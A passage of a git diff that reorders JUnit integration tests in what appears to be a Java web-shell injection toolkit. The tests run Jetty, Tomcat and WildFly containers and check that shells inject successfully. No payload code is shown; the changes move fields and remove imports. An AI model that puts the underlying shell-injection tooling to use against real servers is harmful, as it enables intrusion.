"{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { testShellInjectAssertOk(getUrl(container), Server.JETTY, shellType, shellTool, Opcodes.V11, packer); } - - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java index 09c8659c..77454efa 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty11ContainerTest.java @@ -22,8 +22,6 @@ import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static org.hamcrest.MatcherAssert.assertThat; -import static org.hamcrest.Matchers.containsString; -import static org.hamcrest.Matchers.not; import static org.junit.jupiter.params.provider.Arguments.arguments; /** @@ -34,6 +32,11 @@ import static org.junit.jupiter.params.provider.Arguments.arguments; @Testcontainers public class Jetty11ContainerTest { public static final String imageName = "jetty:11-jre11-slim"; + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warJakartaFile, "/var/lib/jetty/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); static Stream casesProvider() { return Stream.of( @@ -48,23 +51,15 @@ public class Jetty11ContainerTest { ); } - @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warJakartaFile, "/var/lib/jetty/webapps/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { testShellInjectAssertOk(getUrl(container), Server.JETTY, shellType, shellTool, Opcodes.V11, packer); } - - - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java index 28b66e9c..4e810ef1 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty61ContainerTest.java @@ -22,8 +22,6 @@ import static com.reajason.javaweb.integration.ContainerTool.warFile; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static org.hamcrest.MatcherAssert.assertThat; -import static org.hamcrest.Matchers.containsString; -import static org.hamcrest.Matchers.not; import static org.junit.jupiter.params.provider.Arguments.arguments; /** @@ -34,6 +32,11 @@ import static org.junit.jupiter.params.provider.Arguments.arguments; @Testcontainers public class Jetty61ContainerTest { public static final String imageName = "reajason/jetty:6.1-jdk6"; + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/usr/local/jetty/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); static Stream casesProvider() { return Stream.of( @@ -47,22 +50,15 @@ public class Jetty61ContainerTest { ); } - @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/usr/local/jetty/webapps/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { testShellInjectAssertOk(getUrl(container), Server.JETTY, shellType, shellTool, Opcodes.V1_6, packer); } - - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java index b2ecb4c4..861724f9 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty76ContainerTest.java @@ -22,8 +22,6 @@ import static com.reajason.javaweb.integration.ContainerTool.warFile; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static org.hamcrest.MatcherAssert.assertThat; -import static org.hamcrest.Matchers.containsString; -import static org.hamcrest.Matchers.not; import static org.junit.jupiter.params.provider.Arguments.arguments; /** @@ -34,6 +32,11 @@ import static org.junit.jupiter.params.provider.Arguments.arguments; @Testcontainers public class Jetty76ContainerTest { public static final String imageName = "reajason/jetty:7.6-jdk6"; + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/usr/local/jetty/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); static Stream casesProvider() { return Stream.of( @@ -47,22 +50,15 @@ public class Jetty76ContainerTest { ); } - @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/usr/local/jetty/webapps/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { testShellInjectAssertOk(getUrl(container), Server.JETTY, shellType, shellTool, Opcodes.V1_6, packer); } - - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java index de8b6852..b5eefe69 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty81ContainerTest.java @@ -22,8 +22,6 @@ import static com.reajason.javaweb.integration.ContainerTool.warFile; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static org.hamcrest.MatcherAssert.assertThat; -import static org.hamcrest.Matchers.containsString; -import static org.hamcrest.Matchers.not; import static org.junit.jupiter.params.provider.Arguments.arguments; /** @@ -34,6 +32,11 @@ import static org.junit.jupiter.params.provider.Arguments.arguments; @Testcontainers public class Jetty81ContainerTest { public static final String imageName = "reajason/jetty:8.1-jdk7"; + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/usr/local/jetty/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); static Stream casesProvider() { return Stream.of( @@ -48,22 +51,15 @@ public class Jetty81ContainerTest { ); } - @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/usr/local/jetty/webapps/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { testShellInjectAssertOk(getUrl(container), Server.JETTY, shellType, shellTool, Opcodes.V1_6, packer); } - - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java index 59655e27..e065a846 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty92ContainerTest.java @@ -22,8 +22,6 @@ import static com.reajason.javaweb.integration.ContainerTool.warFile; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static org.hamcrest.MatcherAssert.assertThat; -import static org.hamcrest.Matchers.containsString; -import static org.hamcrest.Matchers.not; import static org.junit.jupiter.params.provider.Arguments.arguments; /** @@ -35,6 +33,11 @@ import static org.junit.jupiter.params.provider.Arguments.arguments; public class Jetty92ContainerTest { public static final String imageName = "jetty:9.2-jre7"; + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); static Stream casesProvider() { return Stream.of( @@ -49,22 +52,15 @@ public class Jetty92ContainerTest { ); } - @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { testShellInjectAssertOk(getUrl(container), Server.JETTY, shellType, shellTool, Opcodes.V1_6, packer); } - - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java index d633996c..edbe397b 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty93ContainerTest.java @@ -22,8 +22,6 @@ import static com.reajason.javaweb.integration.ContainerTool.warFile; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static org.hamcrest.MatcherAssert.assertThat; -import static org.hamcrest.Matchers.containsString; -import static org.hamcrest.Matchers.not; import static org.junit.jupiter.params.provider.Arguments.arguments; /** @@ -34,6 +32,11 @@ import static org.junit.jupiter.params.provider.Arguments.arguments; @Testcontainers public class Jetty93ContainerTest { public static final String imageName = "jetty:9.3-jre8-alpine"; + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); static Stream casesProvider() { return Stream.of( @@ -48,22 +51,15 @@ public class Jetty93ContainerTest { ); } - @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { testShellInjectAssertOk(getUrl(container), Server.JETTY, shellType, shellTool, Opcodes.V1_6, packer); } - - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java index 3f8f4eb4..fd095855 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/jetty/Jetty94ContainerTest.java @@ -22,8 +22,6 @@ import static com.reajason.javaweb.integration.ContainerTool.warFile; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static org.hamcrest.MatcherAssert.assertThat; -import static org.hamcrest.Matchers.containsString; -import static org.hamcrest.Matchers.not; import static org.junit.jupiter.params.provider.Arguments.arguments; /** @@ -34,6 +32,11 @@ import static org.junit.jupiter.params.provider.Arguments.arguments; @Testcontainers public class Jetty94ContainerTest { public static final String imageName = "jetty:9.4-jre8-slim"; + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); static Stream casesProvider() { return Stream.of( @@ -52,22 +55,15 @@ public class Jetty94ContainerTest { ); } - @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/var/lib/jetty/webapps/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { testShellInjectAssertOk(getUrl(container), Server.JETTY, shellType, shellTool, Opcodes.V1_6, packer); } - - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java index 96926de7..09b29ce8 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat10ContainerTest.java @@ -23,8 +23,6 @@ import static com.reajason.javaweb.integration.ContainerTool.warJakartaFile; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static org.hamcrest.MatcherAssert.assertThat; -import static org.hamcrest.Matchers.containsString; -import static org.hamcrest.Matchers.not; import static org.junit.jupiter.params.provider.Arguments.arguments; /** @@ -35,6 +33,11 @@ import static org.junit.jupiter.params.provider.Arguments.arguments; @Testcontainers public class Tomcat10ContainerTest { public static final String imageName = "tomcat:10.1-jre11"; + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warJakartaFile, "/usr/local/tomcat/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); static Stream casesProvider() { return Stream.of( @@ -53,21 +56,15 @@ public class Tomcat10ContainerTest { ); } - @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warJakartaFile, "/usr/local/tomcat/webapps/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { testShellInjectAssertOk(getUrl(container), Server.TOMCAT, shellType, shellTool, Opcodes.V11, packer); } - - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java index 6150c08a..157e5dd9 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat11ContainerTest.java @@ -34,6 +34,11 @@ import static org.junit.jupiter.params.provider.Arguments.arguments; public class Tomcat11ContainerTest { public static final String imageName = "tomcat:11.0-jre17"; + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warJakartaFile, "/usr/local/tomcat/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); static Stream casesProvider() { return Stream.of( @@ -46,22 +51,16 @@ public class Tomcat11ContainerTest { ); } - @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warJakartaFile, "/usr/local/tomcat/webapps/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - - @ParameterizedTest(name = "{0}|{1}{2}|{3}") - @MethodSource("casesProvider") - void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { - testShellInjectAssertOk(getUrl(container), Server.TOMCAT, shellType, shellTool, Opcodes.V17, packer); - } - @AfterAll static void tearDown() { String logs = container.getLogs(); log.info(logs); assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); } + + @ParameterizedTest(name = "{0}|{1}{2}|{3}") + @MethodSource("casesProvider") + void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { + testShellInjectAssertOk(getUrl(container), Server.TOMCAT, shellType, shellTool, Opcodes.V17, packer); + } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java index 3f63fe29..f54ce070 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat5ContainerTest.java @@ -33,6 +33,11 @@ import static org.junit.jupiter.params.provider.Arguments.arguments; @Testcontainers public class Tomcat5ContainerTest { public static final String imageName = "reajason/tomcat:5-jdk6"; + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); static Stream casesProvider() { return Stream.of( @@ -50,22 +55,15 @@ public class Tomcat5ContainerTest { ); } - @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { testShellInjectAssertOk(getUrl(container), Server.TOMCAT, shellType, shellTool, Opcodes.V1_6, packer); } - - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java index 41c58d9f..5bf2f490 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat6ContainerTest.java @@ -23,8 +23,6 @@ import static com.reajason.javaweb.integration.ContainerTool.warFile; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static org.hamcrest.MatcherAssert.assertThat; -import static org.hamcrest.Matchers.containsString; -import static org.hamcrest.Matchers.not; import static org.junit.jupiter.params.provider.Arguments.arguments; /** @@ -35,6 +33,11 @@ import static org.junit.jupiter.params.provider.Arguments.arguments; @Testcontainers public class Tomcat6ContainerTest { public static final String imageName = "reajason/tomcat:6-jdk6"; + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); static Stream casesProvider() { return Stream.of( @@ -52,22 +55,15 @@ public class Tomcat6ContainerTest { ); } - @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); - + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { testShellInjectAssertOk(getUrl(container), Server.TOMCAT, shellType, shellTool, Opcodes.V1_6, packer); } - - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java index 3f4af2d5..aa29aad0 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat7ContainerTest.java @@ -23,8 +23,6 @@ import static com.reajason.javaweb.integration.ContainerTool.warFile; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static org.hamcrest.MatcherAssert.assertThat; -import static org.hamcrest.Matchers.containsString; -import static org.hamcrest.Matchers.not; import static org.junit.jupiter.params.provider.Arguments.arguments; /** @@ -33,8 +31,13 @@ import static org.junit.jupiter.params.provider.Arguments.arguments; */ @Slf4j @Testcontainers -public class Tomcat7ContainerTest{ +public class Tomcat7ContainerTest { public static final String imageName = "tomcat:7.0.85-jre7"; + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); static Stream casesProvider() { return Stream.of( @@ -53,21 +56,15 @@ public class Tomcat7ContainerTest{ ); } - @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { testShellInjectAssertOk(getUrl(container), Server.TOMCAT, shellType, shellTool, Opcodes.V1_7, packer); } - - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } } \ No newline at end of file diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java index 60fcbbd4..c5e0907c 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat8ContainerTest.java @@ -23,8 +23,6 @@ import static com.reajason.javaweb.integration.ContainerTool.warFile; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static org.hamcrest.MatcherAssert.assertThat; -import static org.hamcrest.Matchers.containsString; -import static org.hamcrest.Matchers.not; import static org.junit.jupiter.params.provider.Arguments.arguments; /** @@ -35,6 +33,11 @@ import static org.junit.jupiter.params.provider.Arguments.arguments; @Testcontainers public class Tomcat8ContainerTest { public static final String imageName = "tomcat:8-jre8"; + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); static Stream casesProvider() { return Stream.of( @@ -59,21 +62,15 @@ public class Tomcat8ContainerTest { ); } - @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { testShellInjectAssertOk(getUrl(container), Server.TOMCAT, shellType, shellTool, Opcodes.V1_8, packer); } - - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java index b0a78089..1105bfba 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/tomcat/Tomcat9ContainerTest.java @@ -23,8 +23,6 @@ import static com.reajason.javaweb.integration.ContainerTool.warFile; import static com.reajason.javaweb.integration.DoesNotContainExceptionMatcher.doesNotContainException; import static com.reajason.javaweb.integration.ShellAssertionTool.testShellInjectAssertOk; import static org.hamcrest.MatcherAssert.assertThat; -import static org.hamcrest.Matchers.containsString; -import static org.hamcrest.Matchers.not; import static org.junit.jupiter.params.provider.Arguments.arguments; /** @@ -33,8 +31,13 @@ import static org.junit.jupiter.params.provider.Arguments.arguments; */ @Slf4j @Testcontainers -public class Tomcat9ContainerTest{ +public class Tomcat9ContainerTest { public static final String imageName = "tomcat:9-jre9"; + @Container + public final static GenericContainer container = new GenericContainer<>(imageName) + .withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war") + .waitingFor(Wait.forHttp("/app")) + .withExposedPorts(8080); static Stream casesProvider() { return Stream.of( @@ -53,21 +56,15 @@ public class Tomcat9ContainerTest{ ); } - @Container - public final static GenericContainer container = new GenericContainer<>(imageName) - .withCopyToContainer(warFile, "/usr/local/tomcat/webapps/app.war") - .waitingFor(Wait.forHttp("/app")) - .withExposedPorts(8080); + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { testShellInjectAssertOk(getUrl(container), Server.TOMCAT, shellType, shellTool, Opcodes.V9, packer); } - - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java index 1379ab4e..0dad5d0d 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly18ContainerTest.java @@ -48,16 +48,15 @@ public class Wildfly18ContainerTest { ); } + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { testShellInjectAssertOk(getUrl(container), Server.UNDERTOW, shellType, shellTool, Opcodes.V1_6, packer); } - - @AfterAll - static void tearDown() { - String logs = container.getLogs(); - assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); - } } diff --git a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java index 301cb70c..5a03ed6d 100644 --- a/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java +++ b/integration-test/src/test/java/com/reajason/javaweb/integration/wildfly/Wildfly23ContainerTest.java @@ -48,16 +48,15 @@ public class Wildfly23ContainerTest { ); } + @AfterAll + static void tearDown() { + String logs = container.getLogs(); + assertThat("Logs should not contain any exceptions", logs, doesNotContainException()); + } @ParameterizedTest(name = "{0}|{1}{2}|{3}") @MethodSource("casesProvider") void test(String imageName, String shellType, ShellTool shellTool, Packer.INSTANCE packer) { testShellInjectAssertOk(getUrl(container), Server.UNDERTOW, shellType, shellTool, 